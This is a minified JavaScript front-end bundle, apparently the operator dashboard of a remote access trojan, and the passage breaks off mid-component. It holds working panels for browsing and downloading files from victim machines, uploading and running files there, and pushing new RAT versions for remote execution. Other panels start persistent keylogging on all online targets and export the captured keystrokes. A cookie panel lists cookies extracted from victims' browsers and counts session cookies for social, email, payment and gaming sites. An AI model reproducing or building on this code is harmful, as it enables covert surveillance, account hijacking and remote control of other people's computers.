hover:bg-slate-800`,onClick:()=>{u(T.entry.path),de()},children:`Zip`}),c&&(0,H.jsx)(`button`,{className:`w-full px-3 py-1.5 text-left text-sm text-red-400 hover:bg-slate-800 border-t border-slate-700 mt-1 pt-1`,onClick:()=>{c(T.entry.path,T.entry.type===`folder`),de()},children:`Delete`})]})})]})}function $i({online:e}){return(0,H.jsx)(`span`,{className:`relative flex-none flex items-center justify-center w-4 h-4`,children:e?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(`span`,{className:`absolute inline-block w-2.5 h-2.5 rounded-full bg-emerald-400 animate-ping opacity-60`}),(0,H.jsx)(`span`,{className:`relative inline-block w-2 h-2 rounded-full bg-emerald-400`})]}):(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(`span`,{className:`absolute inline-block w-2.5 h-2.5 rounded-full bg-red-500 animate-ping opacity-40`}),(0,H.jsx)(`span`,{className:`relative inline-block w-2 h-2 rounded-full bg-red-500`})]})})}function ea({clients:e,value:t,onChange:n,allowAll:r=!1,allLabel:i=`All clients`,placeholder:a=`Select target...`,className:o=``,badges:s={},disabled:c=!1}){let[l,u]=(0,_.useState)(!1),d=(0,_.useRef)(null);(0,_.useEffect)(()=>{function e(e){d.current&&!d.current.contains(e.target)&&u(!1)}return document.addEventListener(`mousedown`,e),()=>document.removeEventListener(`mousedown`,e)},[]);let f=e.find(e=>e.id===t),p=[...e].sort((e,t)=>{let n=e.is_online??0,r=t.is_online??0;return n===r?(e.hostname||``).localeCompare(t.hostname||``):r-n});return(0,H.jsxs)(`div`,{ref:d,className:`relative ${o}`,children:[(0,H.jsxs)(`button`,{type:`button`,disabled:c,onClick:()=>u(e=>!e),className:` 70 flex items-center gap-2 min-w-55 max-w-xs px-3 py-1.5 71 bg-slate-900 border rounded-md text-sm text-left 72 transition-all select-none 73 ${c?`opacity-50 cursor-not-allowed border-slate-700`:`border-slate-700 hover:border-slate-500 cursor-pointer`} 74 ${l?`border-slate-500 ring-1 ring-slate-600`:``} 75 `,children:[t===`all`&&r?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(`span`,{className:`flex-none w-4 h-4 flex items-center justify-center`,children:(0,H.jsx)(`span`,{className:`w-2 h-2 rounded-full bg-sky-4
7500`})}),(0,H.jsx)(`span`,{className:`flex-1 text-sky-300 font-medium truncate`,children:i})]}):f?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)($i,{online:!!f.is_online}),(0,H.jsx)(`span`,{className:`flex-1 text-slate-200 truncate`,children:f.hostname}),(0,H.jsx)(`span`,{className:`flex-none text-slate-600 font-mono text-[10px]`,children:f.id.slice(0,8)})]}):(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(`span`,{className:`flex-none w-4 h-4`}),(0,H.jsx)(`span`,{className:`flex-1 text-slate-500`,children:a})]}),(0,H.jsx)(`span`,{className:`flex-none ml-1 text-slate-500 text-xs transition-transform ${l?`rotate-180`:``}`,children:`â¾`})]}),l&&(0,H.jsxs)(`div`,{className:` 76 absolute z-50 top-full mt-1 left-0 min-w-65 max-h-72 overflow-y-auto 77 bg-slate-900 border border-slate-700 rounded-lg shadow-2xl shadow-black/60 78 py-1 79 `,children:[r&&(0,H.jsxs)(`button`,{type:`button`,onClick:()=>{n(`all`),u(!1)},className:` 80 w-full flex items-center gap-2 px-3 py-2 text-sm text-left transition-colors 81 ${t===`all`?`bg-slate-800 text-sky-300`:`text-sky-400 hover:bg-slate-800`} 82 `,children:[(0,H.jsx)(`span`,{className:`flex-none w-4 h-4 flex items-center justify-center`,children:(0,H.jsx)(`span`,{className:`w-2 h-2 rounded-full bg-sky-400`})}),(0,H.jsx)(`span`,{className:`flex-1 font-medium`,children:i}),(0,H.jsxs)(`span`,{className:`text-[10px] text-slate-500`,children:[`(`,e.filter(e=>e.is_online).length,` online)`]})]}),r&&p.length>0&&(0,H.jsx)(`div`,{className:`my-1 border-t border-slate-800`}),p.length===0&&(0,H.jsx)(`div`,{className:`px-3 py-4 text-sm text-slate-600 text-center`,children:`No clients in database`}),p.map(e=>{let r=!!e.is_online,i=s[e.id];return(0,H.jsxs)(`button`,{type:`button`,onClick:()=>{n(e.id),u(!1)},className:` 83 w-full flex items-center gap-2 px-3 py-2 text-sm text-left transition-colors 84 ${e.id===t?`bg-slate-800`:`hover:bg-slate-800/60`} 85 `,children:[(0,H.jsx)($i,{online:r}),(0,H.jsxs)(`div`,{className:`flex-1 min-w-0`,children:[(0,H.jsxs)(`div`,{className:`flex items-center gap-1.5`,children:[(0,H.jsx)(`span`,{className:`font-medium truncate ${r?`text-slate-200`:`text-slate-400`}`,children:e.hostname}),i&&(0,H.jsx)(`span`,{className:`text-[9px] font-semibold px-1.5 py-0.5 rounded-full border ${i.color}`,children:i.label})]}),(0,H.jsxs)(`div`,{className:`flex gap-1.5 mt-0.5`,children:[(0,H.jsx)(`span`,{className:`font-mono text-[10px] text-slate-600`,children:e.id.slice(0,16)}),e.ip_address&&(0,H.jsx)(`span`,{className:`text-[10px] text-slate-700`,children:e.ip_address})]})]}),(0,H.jsx)(`span`,{className:`flex-none text-[10px] font-semibold ${r?`text-emerald-500`:`text-red-600`}`,children:r?`LIVE`:`OFFLINE`})]},e.id)})]})]})}function ta(){let{isConnected:e,subscribe:t,send:n}=pi(),{clients:r}=Ii(),[i,a]=(0,_.useState)(``),[o,s]=(0,_.useState)(`C:\\`),[c,l]=(0,_.useState)([]),[u,d]=(0,_.useState)(null),[f,p]=(0,_.useState)(null),[m,h]=(0,_.useState)(!1),[g,v]=(0,_.useState)(!1),[y,b]=(0,_.useState)(null),x=[{name:`C:`,path:`C:\\`,type:`folder`,children:[]}],[S,C]=(0,_.useState)([]);(0,_.useEffect)(()=>{r.length>0&&C(r)},[r]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`db_response`,e=>{e.query===`get_clients`&&C(e.data)}),r=t(`client_list`,e=>{Array.isArray(e.clients)&&C(e.clients)});return()=>{n(),r()}},[e,t]);let w=e=>{i&&(s(e),n({type:`command`,clientId:i,command:`list_dir ${e.endsWith(`:`)?e+`\\\\`:e}`}))};return(0,_.useEffect)(()=>{i?w(`C:\\`):l([])},[i]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`file_browser_data`,e=>{e.clientId===i&&e.data&&e.data.files&&(l(e.data.files.map(t=>{let n=e.data.path.endsWith(`\\`)||e.data.path.endsWith(`/`),r=e.data.path.includes(`/`)?`/`:`\\`,i=n?`${e.data.path}${t.name}`:`${e.data.path}${r}${t.name}`;return{name:t.name,path:i,type:t.isDirectory?`folder`:`file`,size:t.isDirectory?void 0:`${Math.round(t.size/1024)} KB`,modifiedAt:t.lastModified}})),s(e.data.path))});return()=>n()},[e,t,i]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`file_download_data`,e=>{if(!(e.clientId!==i||!e.data))try{let t=atob(e.data),n=new Uint8Array(t.length);for(let e=0;e<t.length;e++)n[e]=t.charCodeAt(e);let r=new Blob([n],{type:`application/octet-stream`}),i=URL.createObjectURL(r),a=document.createElement(`a`);a.href=i,a.download=(u??`download`).replace(/\\/g,`/`).split(`/`).pop()??`download`,document.body.appendChild(a),a.click(),document.body.removeChild(a),URL.revokeObjectURL(i)}catch(e){console.error(`Failed to save downloaded file:`,e)}finally{d(null)}});return()=>n()},[e,t,i,u]),(0,_.useEffect)(()=>
85{if(!e)return;let n=t(`upload_file_result`,e=>{e.queued?p(`Queued â will deliver when client reconnects`):e.success?p(`Uploaded successfully${e.runAfter?` (running...)`:``}`):p(`Upload failed`),setTimeout(()=>p(null),4e3)}),r=t(`push_rat_result`,e=>{b(e.success?`Latest RAT pushed â client will reconnect with new version`:`Push failed`),setTimeout(()=>b(null),5e3)});return()=>{n(),r()}},[e,t]),(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-2xl font-semibold text-slate-100`,children:`Files`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-400`,children:`Live interactive remote file browser.`})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-3`,children:[i&&(0,H.jsxs)(`label`,{className:`flex items-center gap-2 cursor-pointer select-none text-sm text-slate-400 hover:text-slate-200 transition-colors`,children:[(0,H.jsx)(`div`,{className:`w-8 h-4 rounded-full transition-colors ${m?`bg-blue-600`:`bg-slate-700`}`,onClick:()=>h(e=>!e),children:(0,H.jsx)(`div`,{className:`w-3 h-3 bg-white rounded-full mt-0.5 transition-transform ${m?`translate-x-4`:`translate-x-0.5`}`})}),(0,H.jsx)(jr,{className:`w-3 h-3`}),`Run after upload`]}),i&&(0,H.jsxs)(`button`,{onClick:()=>v(!0),className:`flex items-center gap-1.5 px-3 py-1.5 bg-orange-700 hover:bg-orange-600 text-white text-xs rounded-lg transition-colors`,title:`Push latest RAT version to this client`,children:[(0,H.jsx)(Xr,{className:`w-3.5 h-3.5`}),`Push Latest RAT`]}),(0,H.jsx)(ea,{clients:S,value:i,onChange:a,placeholder:`Select target client...`})]})]}),f&&(0,H.jsxs)(`div`,{className:`flex items-center gap-2 px-3 py-2 bg-blue-900/30 border border-blue-700/40 rounded-lg text-sm text-blue-300`,children:[(0,H.jsx)(Gr,{className:`w-3.5 h-3.5 shrink-0`}),f]}),y&&(0,H.jsxs)(`div`,{className:`flex items-center gap-2 px-3 py-2 bg-orange-900/30 border border-orange-700/40 rounded-lg text-sm text-orange-300`,children:[(0,H.jsx)(Xr,{className:`w-3.5 h-3.5 shrink-0`}),y]}),i?(0,H.jsx)(`div`,{className:`h-175`,children:(0,H.jsx)(Qi,{tree:x,entries:c,currentPath:o,onNavigate:e=>{w(e)},onDownload:e=>{i&&(d(e),n({type:`command`,clientId:i,command:`download ${e}`}))},onUpload:async(e,t)=>{if(!i)return;p(`Uploading ${t.name}...`);let r=new FileReader;r.onload=()=>{let a=r.result.split(`,`)[1];n({type:`db_query`,query:`upload_file`,clientId:i,destPath:e.endsWith(`\\`)?`${e}${t.name}`:`${e}\\${t.name}`,fileData:a,filename:t.name,runAfter:m})},r.readAsDataURL(t)}})}):(0,H.jsx)(`div`,{className:`h-125 flex items-center justify-center border border-dashed border-slate-700 rounded-lg text-slate-500`,children:`Select a client above to begin browsing files.`})]}),(0,H.jsx)(Zr,{open:g,title:`Push Latest RAT`,message:`Upload and execute the latest RAT version on this client. The client will reconnect automatically with the updated version.`,confirmLabel:`Push RAT`,cancelLabel:`Cancel`,onConfirm:()=>{n({type:`db_query`,query:`push_rat`,clientId:i}),v(!1),b(`Pushing latest RAT...`)},onCancel:()=>v(!1)})]})}function na(e){if(!e)return``;let t=``,n=0;for(;n<e.length;)if(e[n]===`[`){let r=e.indexOf(`]`,n);if(r===-1){t+=e[n],n++;continue}let i=e.slice(n+1,r).toLowerCase();(i===`backspace`||i===`bs`)&&t.length>0&&(t=t.slice(0,-1)),n=r+1}else t+=e[n],n++;return t}function ra(e){if(!e.length)return[];let t=[],n=null;for(let r of e)!n||n.app!==r.app||n.win!==r.win||n.clientId!==r.clientId?(n&&t.push(n),n={id:Math.random().toString(36).slice(2),backendIds:r.id?[r.id]:[],clientId:r.clientId,app:r.app,win:r.win,text:r.key,cleanText:na(r.key),timestamp:r.ts}):(r.id&&n.backendIds.push(r.id),n.text+=r.key,n.cleanText=na(n.text));return n&&t.push(n),t}function ia(e){return new Date(e).toLocaleTimeString(`en-US`,{hour12:!1})}function aa(e){return new Date(e).toLocaleString(`en-US`,{hour12:!1})}var oa={},sa=[`text-sky-400`,`text-emerald-400`,`text-violet-400`,`text-amber-400`,`text-rose-400`,`text-teal-400`,`text-orange-400`],ca=0;function la(e){return e?(oa[e]||(oa[e]=sa[ca%sa.length],ca++),oa[e]):`text-slate-400`}function ua(){let{isConnected:e,subscribe:t,send:n}=pi(),{impersonateUserId:r,clients:i}=Ii(),[a,o]=(0,_.useState)([]),[s,c]=(0,_.useState)(`all`),[l,u]=(0,_.useState)({}),[d,f]=(0,_.useState)([]),[p,m]=(0,_.useState)(``),[h,g]=(0,_.useState)(!1),[v,y]=(0,_.useState)(!0),b=(0,_.useRef)({}),x=(0,_.useRef)(null),S=new Set(a.filter(e=>e.is_online).map(e=>e.id)),C=Object.values(l).some(Boolean),w=a.filter(e=>e.is_online&&l[e.id]);(0,_.useEffect)(()=>{e&&n({type:`db_query`,query:`get_keylog_status`,impersonateUserId:r??void 0})},[e,n,r]),(0,_.useEffect)(()=>{i.length>0&&o(i)},[i]),(0,_.useEffect)(()=>
85{if(!e)return;let n=t(`db_response`,e=>{if(e.query===`get_clients`&&o(e.data||[]),e.query===`get_keylog_status`){let t={};for(let n of e.data||[])t[n.id]=!0;u(t)}if(e.query===`get_keylogs`){let t=e.clientId;if(!t)return;let n=(e.data||[]).map(e=>({id:e.id,clientId:e.client_id||t,key:e.keystrokes||``,app:e.application||``,win:e.window_title||``,ts:e.timestamp||0})).reverse();b.current[t]=n,T()}}),r=t(`client_list`,e=>{Array.isArray(e.clients)&&o(e.clients)});return()=>{n(),r()}},[e,t]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`keylog_data`,e=>{let t=e.clientId;t&&(b.current[t]=[...b.current[t]||[],...e.entries||[]],T())});return()=>n()},[e,t,s]),(0,_.useEffect)(()=>{if(!e)return;let r=t(`keylog_status`,e=>{e.clientId&&(u(t=>({...t,[e.clientId]:!!e.active})),e.auto_resumed&&n({type:`db_query`,query:`get_keylogs`,clientId:e.clientId,limit:500}))});return()=>r()},[e,t,n]);let T=(0,_.useCallback)(()=>{f(ra(s===`all`?Object.values(b.current).flat().sort((e,t)=>e.ts-t.ts):b.current[s]||[]))},[s]);(0,_.useEffect)(()=>{T()},[s,T]),(0,_.useEffect)(()=>{v&&x.current?.scrollIntoView({behavior:`smooth`})},[d,v]);let E=e=>{c(e),e&&e!==`all`&&!b.current[e]&&n({type:`db_query`,query:`get_keylogs`,clientId:e,limit:500,impersonateUserId:r??void 0})},D=()=>{for(let e of a.filter(e=>e.is_online))n({type:`command`,clientId:e.id,command:`keylog_start`}),b.current[e.id]||n({type:`db_query`,query:`get_keylogs`,clientId:e.id,limit:500,impersonateUserId:r??void 0})},O=()=>{for(let e of a.filter(e=>l[e.id]))n({type:`command`,clientId:e.id,command:`keylog_stop`})},k=e=>{l[e]?n({type:`command`,clientId:e,command:`keylog_stop`}):(n({type:`command`,clientId:e,command:`keylog_start`}),b.current[e]||n({type:`db_query`,query:`get_keylogs`,clientId:e,limit:500,impersonateUserId:r??void 0}))},A=()=>{s===`all`?(b.current={},f([])):(b.current[s]=[],T())},j=e=>{if(!e.backendIds.length){b.current[e.clientId]&&(b.current[e.clientId]=b.current[e.clientId].filter(t=>!e.backendIds.includes(t.id)&&t.ts!==e.timestamp),T());return}n({type:`db_query`,query:`delete_keylogs_group`,clientId:e.clientId,ids:e.backendIds,impersonateUserId:r??void 0}),b.current[e.clientId]&&(b.current[e.clientId]=b.current[e.clientId].filter(t=>t.id?!e.backendIds.includes(t.id):!0),T())},M=()=>{let e=P.map(e=>`[${aa(e.timestamp)}] ${e.app} - ${e.win}\n${e.text}\n`).join(` 86`),t=new Blob([e],{type:`text/plain`}),n=document.createElement(`a`);n.href=URL.createObjectURL(t),n.download=`keylogs-${s.slice(0,8)}-${Date.now()}.txt`,n.click()},N={};for(let e of a)l[e.id]&&e.is_online?N[e.id]={label:`REC`,color:`text-emerald-400 border-emerald-700/50 bg-emerald-900/30`}:l[e.id]&&!e.is_online&&(N[e.id]={label:`PAUSED`,color:`text-amber-400 border-amber-700/50 bg-amber-900/20`});let P=p.trim()?d.filter(e=>e.text.toLowerCase().includes(p.toLowerCase())||e.app.toLowerCase().includes(p.toLowerCase())||e.win.toLowerCase().includes(p.toLowerCase())):d,F=Object.values(b.current).reduce((e,t)=>e+t.length,0);return(0,H.jsxs)(`div`,{className:`flex flex-col h-full space-y-4 min-h-0`,children:[(0,H.jsxs)(`div`,{className:`flex items-start justify-between flex-wrap gap-3`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-2xl font-semibold text-slate-100 tracking-tight`,children:`Keylogs`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-500 mt-0.5`,children:`Persistent capture across all targets â survives reboots & reconnects.`})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2 flex-wrap`,children:[(0,H.jsxs)(`button`,{onClick:D,disabled:!e||S.size===0,className:`px-3 py-1.5 text-xs font-semibold rounded-md bg-emerald-600/15 text-emerald-400 border border-emerald-700/40 hover:bg-emerald-600/25 disabled:opacity-40 transition-all flex items-center gap-1.5`,children:[(0,H.jsx)(`span`,{className:`w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse`}),`Start All (`,S.size,` online)`]}),(0,H.jsx)(`button`,{onClick:O,disabled:!C,className:`px-3 py-1.5 text-xs font-semibold rounded-md bg-red-600/15 text-red-400 border border-red-700/40 hover:bg-red-600/25 disabled:opacity-40 transition-all`,children:`Stop All`}),(0,H.jsx)(`button`,{onClick:M,disabled:!d.length,className:`px-3 py-1.5 text-xs font-medium rounded-md bg-slate-800 text-slate-300 border border-slate-700 hover:bg-slate-700 disabled:opacity-40 transition-all`,children:`Export`}),(0,H.jsx)(`button`,{onClick:A,disabled:!d.length,className:`px-3 py-1.5 text-xs font-medium rounded-md bg-slate-800 text-slate-400 border border-slate-700 hover:bg-slate-700 disabled:opacity-40 transition-all`,children:`Clear`})]})]}),w.length>0&&(0,H.jsxs)(`div`,{className:`flex items-center gap-2 flex-wrap px-3 py-2 bg-emerald-950/40 border border-emerald-800/40 rounded-lg`,children:[(0,H.jsxs)(`span`,{className:`text-[11px] text-emerald-500 font-semibold flex items-center gap-1.5`,children:[(0,H.jsx)(`span`,{className:`w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse`}),`CAPTURING:`]}),w.map(e=>(0,H.jsxs)(`button`,{onClick:()=>k(e.id),title:`Click to stop`,className:`flex items-center gap-1 px-2 py-0.5 rounded-full bg-emerald-900/40 border border-emerald-700/40 text-emerald-300 text-[11px] font-mono hover:bg-red-900/30 hover:text-red-400 hover:border-red-700/40 transition-colors`,children:[e.hostname,` `,(0,H.jsx)(`span`,{className:`opacity-50 ml-0.5`,children:`Ã`})]},e.id))]}),a.filter(e=>!e.is_online&&l[e.id]).length>0&&(0,H.jsxs)(`div`,{className:`flex items-center gap-2 flex-wrap px-3 py-2 bg-amber-950/30 border border-amber-800/30 rounded-lg`,children:[(0,H.jsxs)(`span`,{className:`text-[11px] text-amber-500 font-semibold flex items-center gap-1.5`,children:[(0,H.jsx)(`span`,{className:`w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse`}),`WILL RESUME ON RECONNECT:`]}),a.filter(e=>!e.is_online&&l[e.id]).map(e=>(0,H.jsx)(`span`,{className:`px-2 py-0.5 rounded-full bg-amber-900/30 border border-amber-700/30 text-amber-300 text-[11px] font-mono`,children:e.hostname},e.id))]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-3 flex-wrap`,children:[(0,H.jsx)(ea,{clients:a,value:s,onChange:E,allowAll:!0,allLabel:`All clients`,placeholder:`Select target...`,badges:N}),s!==`all`&&s&&(0,H.jsx)(`button`,{onClick:()=>k(s),disabled:!e,className:`px-3 py-1.5 text-xs font-semibold rounded-md border transition-all disabled:opacity-40 ${l[s]?`bg-red-600/15 text-red-400 border-red-700/40 hover:bg-red-600/25`:`bg-emerald-600/15 text-emerald-400 border-emerald-700/40 hover:bg-emerald-600/25`}`,children:l[s]?`Stop this client`:`Start this client`}),(0,H.jsxs)(`div`,{className:`relative flex-1 min-w-50`,children:[(0,H.jsx)(`input`,{type:`text`,value:p,onChange:e=>m(e.target.value),placeholder:`Filter keys, app, window title...`,className:`w-full pl-4 pr-8 py-1.5 bg-slate-900 border border-slate-700 rounded-md text-sm text-slate-200 placeholder-slate-600 focus:outline-none focus:border-slate-500`}),p&&(0,H.jsx)(`button`,{onClick:()=>m(``),className:`absolute right-2.5 top-1/2 -translate-y-1/2 text-slate-500 hover:text-slate-300 text-xs`,children:`Ã`})]})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-4 text-[11px] text-slate-600`,children:[(0,H.jsxs)(`span`,{children:[(0,H.jsx)(`span`,{className:`text-slate-400`,children:P.length}),` groups`]}),(0,H.jsxs)(`span`,{children:[(0,H.jsx)(`span`,{className:`text-slate-400`,children:F}),` keystrokes total`]}),(0,H.jsxs)(`span`,{children:[(0,H.jsx)(`span`,{className:`text-slate-400`,children:w.length}),` clients recording`]}),p&&(0,H.jsxs)(`span`,{className:`text-sky-500`,children:[P.length,` match`,P.length===1?``:`es`]}),(0,H.jsxs)(`label`,{className:`inline-flex items-center gap-1.5 cursor-pointer ml-auto`,children:[(0,H.jsx)(`input`,{type:`checkbox`,checked:h,onChange:e=>g(e.target.checked),className:`size-3.5 rounded border-slate-600 bg-slate-900 text-brand-600 focus:ring-brand-500`}),(0,H.jsx)(`span`,{className:`text-slate-500`,children:`Show clean`})]})]}),(0,H.jsx)(`div`,{className:`flex-1 min-h-0 bg-slate-950 border border-slate-800 rounded-lg overflow-y-auto font-mono text-sm`,children:P.length===0?(0,H.jsxs)(`div`,{className:`flex flex-col items-center justify-center h-64 text-slate-600 gap-3`,children:[(0,H.jsx)(`span`,{className:`text-4xl opacity-20`,children:`â¨`}),w.length>0?(0,H.jsx)(`span`,{children:`Waiting for keystrokes...`}):(0,H.jsxs)(`span`,{children:[`Click `,(0,H.jsx)(`span`,{className:`text-emerald-500 font-semibold`,children:`Start All`}),` to begin capture on all online targets`]})]}
86):(0,H.jsxs)(`div`,{className:`divide-y divide-slate-800/50`,children:[P.map(e=>(0,H.jsxs)(`div`,{className:`flex hover:bg-slate-900/60 transition-colors group`,children:[(0,H.jsxs)(`div`,{className:`flex-none w-52 px-3 py-2 border-r border-slate-800/60 flex flex-col gap-0.5 shrink-0 relative`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsx)(`span`,{className:`text-slate-600 text-[10px] font-mono`,children:ia(e.timestamp)}),(0,H.jsx)(`button`,{onClick:()=>j(e),className:`opacity-0 group-hover:opacity-100 text-rose-500 hover:text-rose-400 p-1 hover:bg-rose-500/10 rounded transition-all`,title:`Delete recorded keys`,children:(0,H.jsx)(`svg`,{className:`w-3 h-3`,fill:`none`,stroke:`currentColor`,viewBox:`0 0 24 24`,children:(0,H.jsx)(`path`,{strokeLinecap:`round`,strokeLinejoin:`round`,strokeWidth:`2`,d:`M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16`})})})]}),(0,H.jsx)(`span`,{className:`text-[11px] font-bold truncate tracking-wide ${la(e.app)}`,children:e.app||`unknown`}),e.app.toLowerCase().match(/chrome|firefox|edge|brave|opera|safari/)?(0,H.jsxs)(`a`,{href:`https://duckduckgo.com/?q=!ducky+${encodeURIComponent(e.win.replace(/ - (Google Chrome|Mozilla Firefox|Microsoft Edge|Personal - Microsoft Edge|Brave|Opera|Safari)$/i,``))}`,target:`_blank`,rel:`noreferrer`,title:`Open guessed website link`,className:`text-sky-500 hover:text-sky-400 hover:underline text-[10px] truncate flex items-center gap-1 mt-0.5`,children:[e.win||`â`,(0,H.jsx)(`svg`,{className:`w-2.5 h-2.5 inline-block opacity-70`,fill:`none`,stroke:`currentColor`,viewBox:`0 0 24 24`,children:(0,H.jsx)(`path`,{strokeLinecap:`round`,strokeLinejoin:`round`,strokeWidth:`2`,d:`M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14`})})]}):(0,H.jsx)(`span`,{className:`text-slate-600 text-[10px] truncate`,title:e.win,children:e.win||`â`})]}),(0,H.jsx)(`div`,{className:`flex-1 min-w-0 px-4 py-2 text-slate-200 whitespace-pre-wrap break-all leading-relaxed text-[13px] selection:bg-sky-800`,children:h?e.cleanText:e.text})]},e.id)),(0,H.jsx)(`div`,{ref:x})]})}),(0,H.jsxs)(`div`,{className:`flex items-center justify-between text-[11px] text-slate-600`,children:[(0,H.jsx)(`span`,{children:`Auto-scroll`}),(0,H.jsx)(`button`,{onClick:()=>y(e=>!e),className:`w-9 h-5 rounded-full transition-colors relative ${v?`bg-emerald-600`:`bg-slate-700`}`,children:(0,H.jsx)(`span`,{className:`absolute top-0.5 w-4 h-4 bg-white rounded-full shadow transition-transform ${v?`translate-x-4`:`translate-x-0.5`}`})})]})]})}function da(e){return new Date(e).toLocaleString(`en-US`,{hour12:!1})}function fa(){let{isConnected:e,subscribe:t,send:n}=pi(),{impersonateUserId:r,clients:i}=Ii(),[a,o]=(0,_.useState)([]),[s,c]=(0,_.useState)(`all`),[l,u]=(0,_.useState)([]),[d,f]=(0,_.useState)(``),[p,m]=(0,_.useState)(!1),[h,g]=(0,_.useState)(new Set),v=(0,_.useRef)({});(0,_.useEffect)(()=>{i.length>0&&o(i)},[i]),(0,_.useEffect)(()=>{e&&(m(!0),n(s===`all`?{type:`db_query`,query:`get_all_cookies`,limit:1e3,impersonateUserId:r??void 0}:{type:`db_query`,query:`get_cookies`,clientId:s,limit:1e3,impersonateUserId:r??void 0}))},[e,s,n,r]),(0,_.useEffect)(()=>{if(!e)return;let i=t(`db_response`,e=>{if(e.query===`get_cookies`||e.query===`get_all_cookies`){let t=(e.data||[]).map(e=>({id:e.id,client_id:e.client_id,browser:e.browser,host:e.host,name:e.name,value:e.value,path:e.path,domain:e.domain,secure:e.secure,http_only:e.http_only,expires:e.expires,first_seen:e.first_seen,last_updated:e.last_updated,client_hostname:e.client_hostname,client_username:e.client_username}));if(e.query===`get_cookies`&&e.clientId)v.current[e.clientId]=t,u(t);else{let e={};for(let n of t)e[n.client_id]||(e[n.client_id]=[]),e[n.client_id].push(n);v.current=e,u(t)}m(!1)}}),a=t(`cookie_data`,e=>{let t=e.clientId;t&&n({type:`db_query`,query:`get_cookies`,clientId:t,limit:1e3,impersonateUserId:r??void 0})}),s=t(`client_list`,e=>{Array.isArray(e.clients)&&o(e.clients)});return()=>{i(),a(),s()}},[e,t,n,r]);let y=e=>{c(e)},b=(0,_.useMemo)(()=>{let e=new Map;for(let t of l){let n=t.host.replace(/^\.+/,``).toLowerCase(),r=`${t.client_id}::${n}`,i=e.get(r);!i||t.last_updated>
86i.entry.last_updated?e.set(r,{entry:t,count:(i?.count??0)+1}):i.count++}return Array.from(e.values()).map(({entry:e,count:t})=>({...e,cookieCount:t}))},[l]),x=d.trim()?b.filter(e=>e.host.toLowerCase().includes(d.toLowerCase())||e.browser.toLowerCase().includes(d.toLowerCase())||e.client_hostname&&e.client_hostname.toLowerCase().includes(d.toLowerCase())):b,S=b.length,C=[{domain:`facebook.com`,name:`Facebook`},{domain:`instagram.com`,name:`Instagram`},{domain:`twitter.com`,name:`Twitter/X`},{domain:`x.com`,name:`X`},{domain:`tiktok.com`,name:`TikTok`},{domain:`linkedin.com`,name:`LinkedIn`},{domain:`snapchat.com`,name:`Snapchat`},{domain:`reddit.com`,name:`Reddit`},{domain:`discord.com`,name:`Discord`},{domain:`netflix.com`,name:`Netflix`},{domain:`disneyplus.com`,name:`Disney+`},{domain:`hulu.com`,name:`Hulu`},{domain:`hbomax.com`,name:`HBO Max`},{domain:`spotify.com`,name:`Spotify`},{domain:`twitch.tv`,name:`Twitch`},{domain:`youtube.com`,name:`YouTube`},{domain:`amazon.com`,name:`Amazon`},{domain:`paypal.com`,name:`PayPal`},{domain:`steamcommunity.com`,name:`Steam`},{domain:`epicgames.com`,name:`Epic Games`},{domain:`gmail.com`,name:`Gmail`},{domain:`outlook.com`,name:`Outlook`},{domain:`whatsapp.com`,name:`WhatsApp`},{domain:`telegram.org`,name:`Telegram`},{domain:`slack.com`,name:`Slack`}].map(e=>{let t=l.filter(t=>{let n=t.host.toLowerCase();return n===e.domain||n.endsWith(`.`+e.domain)}).length;return{...e,count:t}}).filter(e=>e.count>0),[w,T]=(0,_.useState)(!1),[E,D]=(0,_.useState)(!1),[O,k]=(0,_.useState)(``);return(0,_.useEffect)(()=>{if(!e)return;let n=t(`error`,e=>{e.message&&(k(e.message),setTimeout(()=>k(``),5e3))});return()=>n()},[e,t]),(0,H.jsxs)(`div`,{className:`flex flex-col h-full space-y-4 min-h-0`,children:[(0,H.jsx)(`div`,{className:`flex items-start justify-between flex-wrap gap-3`,children:(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-2xl font-semibold text-slate-100 tracking-tight`,children:`Browser Cookies`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-500 mt-0.5`,children:`Cookies extracted from browser databases in real-time. Auto-fires sessions for detected platforms.`})]})}),(0,H.jsxs)(`div`,{className:`flex items-center gap-3 flex-wrap`,children:[(0,H.jsx)(ea,{clients:a,value:s,onChange:y,allowAll:!0,allLabel:`All clients`,placeholder:`Select target...`}),(0,H.jsxs)(`div`,{className:`relative flex-1 min-w-50`,children:[(0,H.jsx)(`input`,{type:`text`,value:d,onChange:e=>f(e.target.value),placeholder:`Filter host, name, value, browser...`,className:`w-full pl-4 pr-8 py-1.5 bg-slate-900 border border-slate-700 rounded-md text-sm text-slate-200 placeholder-slate-600 focus:outline-none focus:border-slate-500`}),d&&(0,H.jsx)(`button`,{onClick:()=>f(``),className:`absolute right-2.5 top-1/2 -translate-y-1/2 text-slate-500 hover:text-slate-300 text-xs`,children:`Ã`})]}),s&&s!==`all`&&(0,H.jsxs)(`div`,{className:`flex items-center 